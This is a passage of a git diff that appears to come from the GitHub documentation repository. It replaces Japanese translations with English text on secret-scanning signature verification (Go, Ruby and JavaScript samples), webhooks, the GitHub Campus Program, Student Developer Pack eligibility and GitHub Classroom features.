そのため、署名の検証にもJSONの文字列を解析して変換するのではなく、生のメッセージ本文を利用することが重要です。これは、メッセージの並べ替えやスペースの変更を避けるためです。 +**Note**: The signature was generated using the raw message body. So it's important you also use the raw message body for signature validation, instead of parsing and stringifying the JSON, to avoid rearranging the message or changing spacing. {% endnote %} -**検証エンドポイントに送信されたサンプルのメッセージ** +**Sample message sent to verify endpoint** ```http POST / HTTP/2 Host: HOST @@ -112,7 +113,7 @@ Content-Length: 0000 [{"token":"some_token","type":"some_type","url":"some_url"}] ``` -**Goでの検証のサンプル** +**Validation sample in Go** ```golang package main @@ -199,7 +200,15 @@ func main() { ecdsaKey, ok := key.(*ecdsa.PublicKey) if !ok { fmt.Println("GitHub key was not ECDSA, what are they doing?!") - os.Exit(8) + os.Exit(7) + } + + // Parse the Webhook Signature + parsedSig := asn1Signature{} + asnSig, err := base64.StdEncoding.DecodeString(kSig) + if err != nil { + fmt.Printf("unable to base64 decode signature: %s\n", err) + os.Exit(8) } rest, err := asn1.Unmarshal(asnSig, &parsedSig) if err != nil || len(rest) != 0 { @@ -207,7 +216,7 @@ func main() { os.Exit(9) } - // SHA256エンコードされたペイロードをGitHubの鍵での署名に対して検証する + // Verify the SHA256 encoded payload against the signature with GitHub's Key digest := sha256.Sum256([]byte(payload)) keyOk := ecdsa.Verify(ecdsaKey, digest[:], parsedSig.R, parsedSig.S) @@ -227,14 +236,14 @@ type GitHubSigningKeys struct { } `json:"public_keys"` } -// asn1Signatureは ASN.1 シリアライズ/パース署名に対する構造体 +// asn1Signature is a struct for ASN.1 serializing/parsing signatures. type asn1Signature struct { R *big.Int S *big.Int } ``` -**Rubyでの検証サンプル** +**Validation sample in Ruby** ```ruby require 'openssl' require 'net/http' @@ -274,7 +283,7 @@ openssl_key = OpenSSL::PKey::EC.new(current_key) puts openssl_key.verify(OpenSSL::Digest::SHA256.new, Base64.decode64(signature), payload.chomp) ``` -**JavaScriptでの検証サンプル** +**Validation sample in JavaScript** ```js const crypto = require("crypto"); const axios = require("axios"); @@ -316,17 +325,17 @@ const verify_signature = async (payload, signature, keyID) => { }; ``` -### シークレットアラートサービスへのシークレットの破棄とユーザ通知の実装 +### Implement secret revocation and user notification in your secret alert service -パブリックリポジトリでの{% data variables.product.prodname_secret_scanning %}では、シークレットアラートサービスを拡張して、公開されたシークレットを取り除き、影響されたユーザに通知できます。 これをシークレットアラートサービスへどのように実装するかは実装者に任されていますが、{% data variables.product.prodname_dotcom %}がメッセージを送信したすべてのシークレットは、公開され、侵害されたものと考えることをおすすめします。 +For {% data variables.product.prodname_secret_scanning %} in public repositories, you can enhance your secret alert service to revoke the exposed secrets and notify the affected users. How you implement this in your secret alert service is up to you, but we recommend considering any secrets that {% data variables.product.prodname_dotcom %} sends you messages about as public and compromised. -### 誤検知に対するフィードバック +### Provide feedback for false positives -当社は、パートナーのレスポンスにおいて検出された個々のシークレットについて、妥当性のフィードバックを収集しています。 参加を希望する場合は、secret-scanning@github.comまでメールでご連絡ください。 +We collect feedback on the validity of the detected individual secrets in partner responses. If you wish to take part, email us at secret-scanning@github.com. -当社がシークレットを報告する際は、トークン、型識別子、コミットURLを含む各要素のJSON配列を送信します。 当社がフィードバックを受け取る際、あなたは検出されたトークンが正しい認証情報を持っているかいないかについての情報を送信します。 フィードバックは以下のフォーマットで受け取ります。 +When we report secrets to you, we send a JSON array with each element containing the token, type identifier, and commit URL. When you send us feedback, you send us information about whether the detected token was a real or false credential. We accept feedback in the following formats. -生のトークンは以下のように送信できます。 +You can send us the raw token: ``` [ @@ -337,7 +346,7 @@ const verify_signature = async (payload, signature, keyID) => { } ] ``` -また、SHA-256を使用して一方向暗号化ハッシュを実行した後、ハッシュ形式でトークンを提供することも可能です。 +You may also provide the token in hashed form after performing a one way cryptographic hash of the raw token using SHA-256: ``` [ @@ -348,13 +357,13 @@ const verify_signature = async (payload, signature, keyID) => { } ] ``` -重要な点をいくつか挙げます。 -- トークンは、生の形式 ("token_raw") またはハッシュ形式 ("token_hash") のいずれか1つだけを送信してください。両方を送信しないでください。 -- 生のトークンをハッシュ化する場合、SHA-256のみを使用します。他のハッシュ化アルゴリズムは使用しないでください。 -- ラベルは、トークンが真陽性 ("true_positive") か誤検知 ("false_positive") かを示します。 これら2つの、小文字のリテラル文字列のみを受け付けます。 +A few important points: +- You should only send us either the raw form of the token ("token_raw"), or the hashed form ("token_hash"), but not both. +- For the hashed form of the raw token, you can only use SHA-256 to hash the token, not any other hashing algorithm. +- The label indicates whether the token is a true ("true_positive") or a false positive ("false_positive"). Only these two lowercased literal strings are allowed. {% note %} -**注釈:** 誤検知に関するデータを提供するパートナーに対しては、リクエストタイムアウトの値を大きめ (30秒) に設定します。 30秒よりも長めのタイムアウトが必要な場合、secret-scanning@github.comまでメールでご連絡ください。 +**Note:** Our request timeout is set to be higher (that is, 30 seconds) for partners who provide data about false positives. If you require a timeout higher than 30 seconds, email us at secret-scanning@github.com. {% endnote %} diff --git a/translations/ja-JP/content/developers/webhooks-and-events/webhooks/about-webhooks.md b/translations/ja-JP/content/developers/webhooks-and-events/webhooks/about-webhooks.md index be0933a1e1..c5fbc4d8c7 100644 --- a/translations/ja-JP/content/developers/webhooks-and-events/webhooks/about-webhooks.md +++ b/translations/ja-JP/content/developers/webhooks-and-events/webhooks/about-webhooks.md @@ -1,6 +1,6 @@ --- -title: webhook について -intro: インテグレーションの構築とセットアップに役立つwebhookの動作の基本を学んでください。 +title: About webhooks +intro: Learn the basics of how webhooks work to help you build and set up integrations. redirect_from: - /webhooks - /developers/webhooks-and-events/about-webhooks @@ -12,26 +12,25 @@ versions: topics: - Webhooks --- +Webhooks allow you to build or set up integrations, such as [{% data variables.product.prodname_github_apps %}](/apps/building-github-apps/) or [{% data variables.product.prodname_oauth_apps %}](/apps/building-oauth-apps/), which subscribe to certain events on GitHub.com. When one of those events is triggered, we'll send a HTTP POST payload to the webhook's configured URL. Webhooks can be used to update an external issue tracker, trigger CI builds, update a backup mirror, or even deploy to your production server. You're only limited by your imagination. -webhookを使うと、[{% data variables.product.prodname_github_apps %}](/apps/building-github-apps/)や[{% data variables.product.prodname_oauth_apps %}](/apps/building-oauth-apps/)のような、GitHub.com上の特定のイベントをサブスクライブするインテグレーションを構築し、セットアップできます。 それらのイベントのいずれかがトリガーされると、webhookに設定されたURLにHTTP POSTペイロードが送信されます。 webhookは、外部のIssueトラッカーを更新したり、CIビルドをトリガーしたり、バックアップミラーを更新したり、さらにはプロダクションサーバーへのデプロイをしたりするのに利用できます。 想像力が及ぶかぎりのことが可能です。 +Webhooks can be installed on{% ifversion ghes or ghae %} [{% data variables.product.prodname_enterprise %}](/rest/reference/enterprise-admin#global-webhooks/),{% endif %} an [organization][org-hooks], a specific [repository][repo-hooks], or a {% data variables.product.prodname_github_app %}. Once installed, the webhook will be sent each time one or more subscribed events occurs. -webhookは、{% ifversion ghes or ghae %} [{% data variables.product.prodname_enterprise %}](/rest/reference/enterprise-admin#global-webhooks/)、{% endif %}[Organization][org-hooks]、特定の[リポジトリ][repo-hooks]、{% data variables.product.prodname_github_app %}にインストールできます。 インストールされると、1つ以上のサブスクライブされたイベントが発生するたびに、webhookが送信されます。 +You can create up to {% ifversion ghes or ghae %}250{% else %}20{% endif %} webhooks for each event on each installation target {% ifversion ghes or ghae %}({% data variables.product.prodname_ghe_server %} instance, specific organization, or specific repository).{% else %}(specific organization or specific repository).{% endif %} -作成できるwebhookは、それぞれのインストールターゲット{% ifversion ghes or ghae %}({% data variables.product.prodname_ghe_server %} のインスタンス、特定のOrganization、あるいは特定のリポジトリ){% else %}(特定のOrganizationもしくは特定のリポジトリ){% endif %}上の各イベントに対して最大{% ifversion ghes or ghae %}250{% else %}20{% endif %}です。 - -## イベント +## Events {% data reusables.webhooks.webhooks_intro %} -それぞれのイベントは、Organizationやリポジトリに生じうる一連のアクションに対応します。 たとえば、`issues`イベントにサブスクライブしているなら、Issueのオープン、クローズ、ラベル付けなどが生じるたびに詳細なペイロードを受信することになります。 +Each event corresponds to a certain set of actions that can happen to your organization and/or repository. For example, if you subscribe to the `issues` event you'll receive detailed payloads every time an issue is opened, closed, labeled, etc. -使用可能な webhook イベントとそのペイロードの完全なリストについては、「[webhook イベントとペイロード](/developers/webhooks-and-events/webhook-events-and-payloads)」を参照してください。 +For a complete list of available webhook events and their payloads, see "[Webhook events and payloads](/developers/webhooks-and-events/webhook-events-and-payloads)." -## Pingイベント +## Ping event {% data reusables.webhooks.ping_short_desc %} -`ping`イベントのwebhookのペイロードに関する詳細な情報については[`ping`](/webhooks/event-payloads/#ping)イベントを参照してください。 +For more information about the `ping` event webhook payload, see the [`ping`](/webhooks/event-payloads/#ping) event. [org-hooks]: /rest/reference/orgs#webhooks/ [repo-hooks]: /rest/reference/repos#webhooks diff --git a/translations/ja-JP/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program.md b/translations/ja-JP/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program.md index 4f2d5e0809..e99cae3fc8 100644 --- a/translations/ja-JP/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program.md +++ b/translations/ja-JP/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program.md @@ -11,26 +11,25 @@ versions: fpt: '*' shortTitle: GitHub Campus Program --- - {% data variables.product.prodname_campus_program %} is a package of premium {% data variables.product.prodname_dotcom %} access for teaching-focused institutions that grant degrees, diplomas, or certificates. {% data variables.product.prodname_campus_program %} includes: - No-cost access to {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %} for all of your technical and academic departments -- 50,000 分の {% data variables.product.prodname_actions %} および 50 GB の {% data variables.product.prodname_registry %} ストレージ -- [Campus Advisor プログラム](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-campus-advisors)による、Git と{% data variables.product.prodname_dotcom %} をマスターするための教師トレーニング +- 50,000 {% data variables.product.prodname_actions %} minutes and 50 GB {% data variables.product.prodname_registry %} storage +- Teacher training to master Git and {% data variables.product.prodname_dotcom %} with our [Campus Advisor program](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-campus-advisors) - Exclusive access to new features, GitHub Education-specific swag, and free developer tools from {% data variables.product.prodname_dotcom %} partners -- {% data variables.product.prodname_student_pack %} のような、プレミアムの {% data variables.product.prodname_education %} の機能への自動化されたアクセス +- Automated access to premium {% data variables.product.prodname_education %} features, like the {% data variables.product.prodname_student_pack %} -GitHub が教育者によってどのように使用されているかについては、[GitHub Education のストーリー](https://education.github.com/stories)をお読みください。 +To read about how GitHub is used by educators, see [GitHub Education stories.](https://education.github.com/stories) -## {% data variables.product.prodname_campus_program %} 利用規約 +## {% data variables.product.prodname_campus_program %} terms and conditions -- ライセンスは 1 年間無料で、2 年ごとに自動的に無料で更新されます。 契約条件の範囲で運用し続ける限り、無料ライセンスを継続できます。 Any school that can agree to the [terms of the program](https://education.github.com/schools/terms) is welcome to join. +- The license is free for one year and will automatically renew for free every 2 years. You may continue on the free license so long as you continue to operate within the terms of the agreement. Any school that can agree to the [terms of the program](https://education.github.com/schools/terms) is welcome to join. -- ライセンスは学校全体で使用するためのものであることにご注意ください。 学内の IT 部門、学術研究グループ、共同研究者、学生、およびその他の非学術的部門は、GitHub Campus Program の利用により利益を得ていない限り、ライセンスを無料で利用できます。 大学内にある、外部から資金提供を受けている研究グループは無料ライセンスを利用できません。 +- Please note that the licenses are for use by the whole school. Internal IT departments, academic research groups, collaborators, students, and other non-academic departments are eligible to use the licenses so long as they are not making a profit from its use. Externally funded research groups that are housed at the university may not use the free licenses. -- {% data variables.product.prodname_campus_program %} パートナーとして GitHub Education ウェブサイトで表示するために、技術部門、学部、および学校のロゴのすべてを {% data variables.product.prodname_dotcom %} に提供する必要があります。 +- You must offer {% data variables.product.prodname_dotcom %} to all of your technical and academic departments and your school’s logo will be shared on the GitHub Education website as a {% data variables.product.prodname_campus_program %} Partner. -- New organizations in your enterprise are automatically added to your enterprise account. To add organizations that existed before your school joined the {% data variables.product.prodname_campus_program %}, please contact [GitHub Education Support](https://support.github.com/contact/education). For more information about administrating your enterprise, see the [enterprise administrators documentation](/admin). New organizations in your enterprise are automatically added to your enterprise account. To add organizations that existed before your school joined the {% data variables.product.prodname_campus_program %}, please contact GitHub Education Support. +- New organizations in your enterprise are automatically added to your enterprise account. To add organizations that existed before your school joined the {% data variables.product.prodname_campus_program %}, please contact [GitHub Education Support](https://support.github.com/contact/education). For more information about administrating your enterprise, see the [enterprise administrators documentation](/admin). New organizations in your enterprise are automatically added to your enterprise account. To add organizations that existed before your school joined the {% data variables.product.prodname_campus_program %}, please contact GitHub Education Support. To read more about {% data variables.product.prodname_dotcom %}'s privacy practices, see ["Global Privacy Practices"](/github/site-policy/global-privacy-practices) @@ -41,7 +40,7 @@ To read more about {% data variables.product.prodname_dotcom %}'s privacy practi - If your school does not issue email addresses, {% data variables.product.prodname_dotcom %} will reach out to your account administrators with an alternative option to allow you to distribute the student developer pack to your students. -詳しい情報については[公式{% data variables.product.prodname_campus_program %}](https://education.github.com/schools)ページを参照してください。 +For more information, see the [official {% data variables.product.prodname_campus_program %}](https://education.github.com/schools) page. -あなたの学校が {% data variables.product.prodname_dotcom %} と {% data variables.product.prodname_campus_program %} スクールとしてパートナーになっていない場合は、個別に {% data variables.product.prodname_dotcom %} の利用の割引を申請できます。 To apply for the Student Developer Pack, [see the application form](https://education.github.com/pack/join). +If you're a student or academic faculty and your school isn't partnered with {% data variables.product.prodname_dotcom %} as a {% data variables.product.prodname_campus_program %} school, then you can still individually apply for discounts to use {% data variables.product.prodname_dotcom %}. To apply for the Student Developer Pack, [see the application form](https://education.github.com/pack/join). diff --git a/translations/ja-JP/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/index.md b/translations/ja-JP/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/index.md index 38179245d7..e8ce38a6ac 100644 --- a/translations/ja-JP/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/index.md +++ b/translations/ja-JP/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/index.md @@ -1,6 +1,6 @@ --- -title: 教育機関におけるGitHubの使用 -intro: '{% data variables.product.prodname_education %} および学生やインストラクターのための弊社のさまざまなトレーニングプログラムを使って、学生、インストラクターや IT スタッフのために施設で {% data variables.product.prodname_dotcom %} を使うことのメリットを最大化してください。' +title: Use GitHub at your educational institution +intro: 'Maximize the benefits of using {% data variables.product.prodname_dotcom %} at your institution for your students, instructors, and IT staff with {% data variables.product.prodname_education %} and our various training programs for students and instructors.' redirect_from: - /education/teach-and-learn-with-github-education/use-github-at-your-educational-institution - /github/teaching-and-learning-with-github-education/using-github-at-your-educational-institution diff --git a/translations/ja-JP/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md b/translations/ja-JP/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md index 674b2c2366..514bf5d42f 100644 --- a/translations/ja-JP/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md +++ b/translations/ja-JP/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md @@ -1,6 +1,6 @@ --- -title: 学生用開発者パックの申請が承認されなかったのはなぜですか？ -intro: '{% data variables.product.prodname_student_pack %} の申請が承認されていない一般的な理由を確認し、正常に再申請するためのヒントを学んでください。' +title: Why wasn't my application for a student developer pack approved? +intro: 'Review common reasons that applications for the {% data variables.product.prodname_student_pack %} are not approved and learn tips for reapplying successfully.' redirect_from: - /education/teach-and-learn-with-github-education/why-wasnt-my-application-for-a-student-developer-pack-approved - /github/teaching-and-learning-with-github-education/why-wasnt-my-application-for-a-student-developer-pack-approved @@ -12,62 +12,61 @@ versions: fpt: '*' shortTitle: Application not approved --- - {% tip %} -**ヒント:** {% data reusables.education.about-github-education-link %} +**Tip:** {% data reusables.education.about-github-education-link %} {% endtip %} -## 所属文書の不明確な証明 +## Unclear academic affiliation documents -アップロードした画像に記載されている日付またはスケジュールが資格条件に適合していない場合、在学状況の証明が追加で必要です。 +If the dates or schedule mentioned in your uploaded image do not match our eligibility criteria, we require further proof of your academic status. -アップロードした画像が、あなたの現在の在学状況を明示していない場合や、アップロードした画像が不鮮明な場合は、在学状況の証明が追加で必要です。 {% data reusables.education.upload-proof-reapply %} +If the image you uploaded doesn't clearly identify your current academic status or if the uploaded image is blurry, we require further proof of your academic status. {% data reusables.education.upload-proof-reapply %} {% data reusables.education.pdf-support %} -## 未確認ドメインを持つ学術メールの使用 +## Using an academic email with an unverified domain -学術メールアドレスに未検証ドメインが含まれている場合、学術ステータスのさらなる証明が必要となります。 {% data reusables.education.upload-proof-reapply %} +If your academic email address has an unverified domain, we require further proof of your academic status. {% data reusables.education.upload-proof-reapply %} {% data reusables.education.pdf-support %} -## 緩い電子メールポリシーを持つ学校からの学術電子メールの使用 +## Using an academic email from a school with lax email policies -学校が有料学生登録の前にメールアドレスを発行する場合、学術ステータスのさらなる証明が必要となります。 {% data reusables.education.upload-proof-reapply %} +If your school issues email addresses prior to paid student enrollment, we require further proof of your academic status. {% data reusables.education.upload-proof-reapply %} {% data reusables.education.pdf-support %} -学校のドメインに関するその他の質問や懸念がある場合は、学校の IT スタッフにお問い合わせください。 +If you have other questions or concerns about the school domain please ask your school IT staff to contact us. -## すでに使用されている学術メールアドレス +## Academic email address already used If your academic email address was already used to request a {% data variables.product.prodname_student_pack %} for a different {% data variables.product.prodname_dotcom %} account, you cannot reuse the academic email address to successfully apply for another {% data variables.product.prodname_student_pack %}. {% note %} -**メモ:** 複数の個別アカウントを維持することは、{% data variables.product.prodname_dotcom %} [利用規約](/articles/github-terms-of-service/#3-account-requirements)に反しています。 +**Note:** It is against the {% data variables.product.prodname_dotcom %} [Terms of Service](/articles/github-terms-of-service/#3-account-requirements) to maintain more than one individual account. {% endnote %} -複数の個人ユーザアカウントを持っている場合は、自分のアカウントをマージする必要があります。 割引を保持するには、割引を付与されたアカウントをそのままにします。 すべてのメールアドレスを保持アカウントに追加することで、保持アカウントの名前を変更したり、コントリビューション履歴を保存したりできます。 +If you have more than one personal user account, you must merge your accounts. To retain the discount, keep the account that was granted the discount. You can rename the retained account and keep your contribution history by adding all your email addresses to the retained account. -詳しい情報については、以下を参照してください。 -- 「[複数のユーザアカウントをマージする](/articles/merging-multiple-user-accounts)」 -- 「[{% data variables.product.prodname_dotcom %} ユーザ名を変更する](/articles/changing-your-github-username)」 -- 「[メールアドレスを {% data variables.product.prodname_dotcom %} アカウントに追加する](/articles/adding-an-email-address-to-your-github-account)」 +For more information, see: +- "[Merging multiple user accounts](/articles/merging-multiple-user-accounts)" +- "[Changing your {% data variables.product.prodname_dotcom %} username](/articles/changing-your-github-username)" +- "[Adding an email address to your {% data variables.product.prodname_dotcom %} account](/articles/adding-an-email-address-to-your-github-account)" -## 対象外の学生ステータス +## Ineligible student status -以下の場合、{% data variables.product.prodname_student_pack %} の対象外となります: +You're ineligible for a {% data variables.product.prodname_student_pack %} if: - You're enrolled in an informal learning program that is not part of the [{% data variables.product.prodname_campus_program %}](https://education.github.com/schools) and not enrolled in a degree or diploma granting course of study. -- 取得を目指している学位が、現学期で終わる場合。 -- 13 歳未満の場合。 +- You're pursuing a degree which will be terminated in the current academic session. +- You're under 13 years old. -インストラクターは、教室での使用に対して、{% data variables.product.prodname_education %} 割引を適用できます。 If you're a student at a coding school or bootcamp, you will become eligible for a {% data variables.product.prodname_student_pack %} if your school joins the [{% data variables.product.prodname_campus_program %}](https://education.github.com/schools). +Your instructor may still apply for a {% data variables.product.prodname_education %} discount for classroom use. If you're a student at a coding school or bootcamp, you will become eligible for a {% data variables.product.prodname_student_pack %} if your school joins the [{% data variables.product.prodname_campus_program %}](https://education.github.com/schools). -## 参考リンク +## Further reading -- 「[学生開発者パックに応募する](/articles/applying-for-a-student-developer-pack)」 -- 「[学生向け開発者パックへの応募](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-a-student-developer-pack)」 +- "[How to get the GitHub Student Developer Pack without a student ID](https://github.blog/2019-07-30-how-to-get-the-github-student-developer-pack-without-a-student-id/)" on {% data variables.product.prodname_blog %} +- "[Apply for a student developer pack](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-a-student-developer-pack)" diff --git a/translations/ja-JP/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md b/translations/ja-JP/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md index 372e0281a5..b2f402b4e8 100644 --- a/translations/ja-JP/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md +++ b/translations/ja-JP/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md @@ -1,32 +1,31 @@ --- -title: GitHub ClassroomでMakeCode Arcadeを使用する -shortTitle: MakeCode Arcadeの使用について -intro: 'MakeCode Arcadeを、{% data variables.product.prodname_classroom %}の課題のためのオンラインIDEとして設定できます。' +title: About using MakeCode Arcade with GitHub Classroom +shortTitle: About using MakeCode Arcade +intro: 'You can configure MakeCode Arcade as the online IDE for assignments in {% data variables.product.prodname_classroom %}.' versions: fpt: '*' redirect_from: - /education/manage-coursework-with-github-classroom/student-experience-makecode - /education/manage-coursework-with-github-classroom/about-using-makecode-arcade-with-github-classroom --- +## About MakeCode Arcade -## MakeCode Arcadeについて - -MakeCode Arcadeとは、ドラッグアンドドロップのブロックプログラミングとJavaScriptを使用してレトロなアーケードゲームを開発するためのオンライン統合開発環境 (IDE) です。 学生はMakeCode Arcadeを使ってブラウザでコードを記述、編集、実行、テスト、デバッグできます。 For more information about IDEs and {% data variables.product.prodname_classroom %}, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide)." +MakeCode Arcade is an online integrated development environment (IDE) for developing retro arcade games using drag-and-drop block programming and JavaScript. Students can write, edit, run, test, and debug code in a browser with MakeCode Arcade. For more information about IDEs and {% data variables.product.prodname_classroom %}, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide)." {% data reusables.classroom.readme-contains-button-for-online-ide %} -学生がボタンをクリックして、初めてMakeCode Arcadeにアクセスする際は、{% data variables.product.product_name %}認証情報でMakeCode Arcadeにサインインする必要があります。 サインインすると、学生はMakeCode Arcadeで完全に構成された、課題リポジトリのコードが含まれる開発環境にアクセスできます。 +The first time the student clicks the button to visit MakeCode Arcade, the student must sign into MakeCode Arcade with {% data variables.product.product_name %} credentials. After signing in, the student will have access to a development environment containing the code from the assignment repository, fully configured on MakeCode Arcade. -MakeCode Arcadeにおける作業についての詳細は、[MakeCode Arcade Tour](https://arcade.makecode.com/ide-tour)およびMakeCode Arcadeウェブサイトの[ドキュメント](https://arcade.makecode.com/docs)を参照してください。 +For more information about working on MakeCode Arcade, see the [MakeCode Arcade Tour](https://arcade.makecode.com/ide-tour) and [documentation](https://arcade.makecode.com/docs) on the MakeCode Arcade website. -MakeCode Arcadeは、グループ課題のための複数人による編集をサポートしていません。 その代わり、学生はブランチやプルリクエストのようなGitおよび{% data variables.product.product_name %}の機能でコラボレートできます。 +MakeCode Arcade does not support multiplayer-editing for group assignments. Instead, students can collaborate with Git and {% data variables.product.product_name %} features like branches and pull requests. -## MakeCode Arcadeによる課題の提出について +## About submission of assignments with MakeCode Arcade -デフォルトでは、MakeCode Arcadeは{% data variables.product.product_location %}の課題リポジトリにプッシュするよう設定されています。 MakeCode Arcadeで課題を進めた後、学生は画面下部にある{% octicon "mark-github" aria-label="The GitHub mark" %}{% octicon "arrow-up" aria-label="The up arrow icon" %}ボタンで、変更を{% data variables.product.product_location %}にプッシュする必要があります。 +By default, MakeCode Arcade is configured to push to the assignment repository on {% data variables.product.product_location %}. After making progress on an assignment with MakeCode Arcade, students should push changes to {% data variables.product.product_location %} using the {% octicon "mark-github" aria-label="The GitHub mark" %}{% octicon "arrow-up" aria-label="The up arrow icon" %} button at the bottom of the screen. -![MakeCode Arcadeのバージョン管理機能](/assets/images/help/classroom/ide-makecode-arcade-version-control-button.png) +![MakeCode Arcade version control functionality](/assets/images/help/classroom/ide-makecode-arcade-version-control-button.png) -## 参考リンク +## Further reading -- [READMEについて](/github/creating-cloning-and-archiving-repositories/about-readmes) +- "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" diff --git a/translations/ja-JP/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/view-autograding-results.md b/translations/ja-JP/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/view-autograding-results.md index f4e9c6911d..94c923104e 100644 --- a/translations/ja-JP/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/view-autograding-results.md +++ b/translations/ja-JP/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/view-autograding-results.md @@ -1,31 +1,30 @@ --- -title: 自動採点の結果を表示する -intro: 課題用のリポジトリ内で行った自動採点による結果を表示できます。 +title: View autograding results +intro: You can see results from autograding within the repository for your assignment. versions: fpt: '*' redirect_from: - /education/manage-coursework-with-github-classroom/reviewing-auto-graded-work-students - /education/manage-coursework-with-github-classroom/view-autograding-results --- +## About autograding -## 自動採点について +Your teacher can configure tests that automatically check your work when you push to an assignment repository on {% data variables.product.product_location %}. -教師は、{% data variables.product.product_location %}の課題リポジトリにプッシュする際、自動的にその作業をチェックするテストを設定できます。 +If you're a student and your instructor has configured autograding for your assignment in {% data variables.product.prodname_classroom %}, you'll find autograding test results throughout your assignment repository. If all tests succeed for a commit, you'll see a green checkmark. If any tests fail for a commit, you'll see a red X. You can see detailed logs by clicking the green checkmark or red X. -あなたが学生で、インストラクタが{% data variables.product.prodname_classroom %}の課題に対して自動採点を設定している場合、課題リポジトリ全体にわたって自動採点テストの結果が表示されます。 コミットに対してすべてのテストが成功すると、緑色のチェックマークが表示されます。 コミットに対して失敗したテストがある場合、赤色のXが表示されます。緑色のチェックマークまたは赤色のXをクリックすると、詳細なログが表示されます。 +## Viewing autograding results for an assignment repository -## 課題リポジトリに対する自動採点結果を表示する +{% data variables.product.prodname_classroom %} uses {% data variables.product.prodname_actions %} to run autograding tests. For more information about viewing the logs for an autograding test, see "[Using workflow run logs](/actions/managing-workflow-runs/using-workflow-run-logs#viewing-logs-to-diagnose-failures)." -{% data variables.product.prodname_classroom %}は、自動採点テストの実行に{% data variables.product.prodname_actions %}を使用します。 自動採点テストのログ表示に関する詳細については、「[ワークフロー実行ログを使用する](/actions/managing-workflow-runs/using-workflow-run-logs#viewing-logs-to-diagnose-failures)」を参照してください。 +The **Actions** tab shows the full history of test runs. -[**Actions**] タブでは、実行したテストの全履歴が表示されます。 +!["Actions" tab with "All workflows" selected](/assets/images/help/classroom/autograding-actions-tab.png) -![[All workflows] を選択した状態の [Actions] タブ](/assets/images/help/classroom/autograding-actions-tab.png) +You can click a specific test run to review log output, like compilation errors and test failures. -実行した特定のテストをクリックすると、コンパイルエラーやテスト失敗などのログ出力を確認できます。 +![The "{% data variables.product.prodname_classroom %} Autograding Workflow" test results logs in {% data variables.product.prodname_actions %} ](/assets/images/help/classroom/autograding-actions-logs.png) -![{% data variables.product.prodname_actions %} の [{% data variables.product.prodname_classroom %} Autograding Workflow] テスト結果 ](/assets/images/help/classroom/autograding-actions-logs.png) +## Further reading -## 参考リンク - -- "[ステータスチェックについて](/github/collaborating-with-issues-and-pull-requests/about-status-checks)" +- "[About status checks](/github/collaborating-with-issues-and-pull-requests/about-status-checks)" diff --git a/translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository.md b/translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository.md index a94fe15c2c..e6b81a702b 100644 --- a/translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository.md +++ b/translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository.md @@ -1,6 +1,6 @@ --- -title: テンプレートリポジトリからの課題の作成 -intro: テンプレートリポジトリから課題を作成して、スターターコード、ドキュメント、その他のリソースを学生に提供できます。 +title: Create an assignment from a template repository +intro: 'You can create an assignment from a template repository to provide starter code, documentation, and other resources to your students.' versions: fpt: '*' redirect_from: @@ -8,12 +8,11 @@ redirect_from: - /education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository shortTitle: Template repository --- +You can use a template repository on {% data variables.product.product_name %} as starter code for an assignment on {% data variables.product.prodname_classroom %}. Your template repository can contain boilerplate code, documentation, and other resources for your students. For more information, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." -{% data variables.product.prodname_classroom %}の課題のためのスターターコードとして、{% data variables.product.product_name %}でテンプレートリポジトリを使用できます。 テンプレートリポジトリには、ボイラープレートコードや、その他の学生用リソースを含めることができます。 